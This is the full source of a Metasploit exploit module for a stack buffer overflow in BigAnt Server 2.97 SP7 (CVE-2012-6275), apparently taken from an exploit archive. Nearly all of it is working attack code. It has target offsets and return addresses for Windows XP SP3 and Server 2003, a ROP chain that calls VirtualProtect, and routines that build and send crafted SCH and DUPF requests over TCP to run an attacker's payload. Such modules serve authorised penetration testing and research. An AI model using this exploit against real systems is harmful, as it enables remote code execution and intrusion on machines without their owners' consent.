BigAnt Server 2.97 – SCH / DUPF Buffer Overflow (Metasploit)
## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # web site for more information on licensing and terms of use. # http://metasploit.com/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::Tcp def initialize(info = {}) super(update_info(info, 'Name' => 'BigAnt Server 2 SCH And DUPF Buffer Overflow', 'Description' => %q{ This exploits a stack buffer overflow in BigAnt Server 2.97 SP7. The vulnerability is due to the dangerous usage of strcpy while handling errors. This module uses a combination of SCH and DUPF request to trigger the vulnerability, and has been tested successfully against version 2.97 SP7 over Windows XP SP3 and Windows 2003 SP2. }, 'Author' => [ 'Hamburgers Maccoy', # Vulnerability discovery 'juan vazquez' # Metasploit module ], 'License' => MSF_LICENSE, 'References' => [ [ 'CVE', '2012-6275' ], [ 'US-CERT-VU', '990652' ], [ 'BID', '57214' ], [ 'OSVDB', '89344' ] ], 'Payload' => { 'Space' => 2500, 'BadChars' => "\x00\x0a\x0d\x25\x27", 'DisableNops' => true, 'PrependEncoder' => "\x81\xc4\x54\xf2\xff\xff" # Stack adjustment # add esp, -3500 }, 'Platform' => 'win', 'Targets' => [ [ 'BigAnt Server 2.97 SP7 / Windows XP SP3', { 'Offset' => 629, 'Ret' => 0x77c21ef4, # ppr from msvcrt 'JmpESP' => 0x77c35459, # push esp # ret from msvcrt 'FakeObject' => 0x77C60410 # .data from msvcrt } ], [ 'BigAnt Server 2.97 SP7 / Windows 2003 SP2', { 'Offset' => 629, 'Ret' => 0x77bb287a, # ppr from msvcrt 'FakeObject' => 0x77bf2460, # .data from msvcrt :callback_rop => :w2003_sp2_rop } ] ], 'Privileged' => true, 'DefaultTarget' => 0, 'DisclosureDate' => 'Jan 09 2013')) register_options([Opt::RPORT(6661)], self.class) end def junk(n=4) return rand_text_alpha(n).unpack("V")[0].to_i end def nop return make_nops(4).unpack("V")[0].to_i end def w2003_sp2_rop rop_gadgets = [ 0x77bc5d88, # POP EAX # RETN 0x77ba1114, # <- *&VirtualProtect() 0x77bbf244, # MOV EAX,DWORD PTR DS:[EAX] # POP EBP # RETN junk, 0x77bb0c86, # XCHG EAX,ESI # RETN 0x77bc9801, # POP EBP # RETN 0x77be2265, # ptr to 'push esp # ret' 0x77bc5d88, # POP EAX # RETN 0x03C0990F, 0x77bdd441, # SUB EAX, 03c0940f (dwSize, 0x500 -> ebx) 0x77bb48d3, # POP EBX, RET 0x77bf21e0, # .data 0x77bbf102, # XCHG EAX,EBX # ADD BYTE PTR DS:[EAX],AL # RETN 0x77bbfc02, # POP ECX # RETN 0x77bef001, # W pointer (lpOldProtect) (-> ecx) 0x77bd8c04, # POP EDI # RETN 0x77bd8c05, # ROP NOP (-> edi) 0x77bc5d88, # POP EAX # RETN 0x03c0984f, 0x77bdd441, # SUB EAX, 03c0940f 0x77bb8285, # XCHG EAX,EDX # RETN 0x77bc5d88, # POP EAX # RETN nop, 0x77be6591, # PUSHAD # ADD AL,0EF # RETN ].pack("V*") return rop_gadgets end def exploit sploit = rand_text_alpha(target['Offset']) sploit << [target.ret].pack("V") sploit << [target['FakeObject']].pack("V") sploit << [target['FakeObject']].pack("V") if target[:callback_rop] and self.respond_to?(target[:callback_rop]) sploit << self.send(target[:callback_rop]) else sploit << [target['JmpESP']].pack("V") end sploit << payload.encoded random_filename = rand_text_alpha(4) random_date = "#{rand_text_numeric(4)}-#{rand_text_numeric(2)}-#{rand_text_numeric(2)} #{rand_text_numeric(2)}:#{rand_text_numeric(2)}:#{rand_text_numeric(2)}" random_userid = rand_text_numeric(1) random_username = rand_text_alpha_lower(5) random_content = rand_text_alpha(10 + rand(10)) sch = "SCH 16\n" sch << "cmdid: 1\n" sch << "content-length: 0\n" sch << "content-type: Appliction/Download\n" sch << "filename: #{random_filename}.txt\n" sch << "modified: #{random_date}\n" sch << "pclassid: 102\n" sch << "pobjid: 1\n" sch << "rootid: 1\n" sch << "sendcheck: 1\n" sch << "source_cmdname: DUPF\n" sch << "source_content-length: 116619\n" sch << "userid: #{random_userid}\n" sch << "username: #{sploit}\n\n" print_status("Trying target #{target.name}...") connect print_status("Sending SCH request...") sock.put(sch) res = sock.get_once if res.nil? fail_with(Exploit::Failure::Unknown, "No response to the SCH request") end if res=~ /scmderid: \{(.*)\}/ scmderid = $1 else fail_with(Exploit::Failure::UnexpectedReply, "scmderid value not found in the SCH response") end dupf = "DUPF 16\n" dupf << "cmdid: 1\n" dupf << "content-length: #{random_content.length}\n" dupf << "content-type: Appliction/Download\n" dupf << "filename: #{random_filename}.txt\n" dupf << "modified: #{random_date}\n" dupf << "pclassid: 102\n" dupf << "pobjid: 1\n" dupf << "rootid: 1\n" dupf << "scmderid: {#{scmderid}}\n" dupf << "sendcheck: 1\n" dupf << "userid: #{random_userid}\n" dupf << "username: #{random_username}\n\n" dupf << random_content print_status("Sending DUPF request...") sock.put(dupf) #sock.get_once disconnect end end |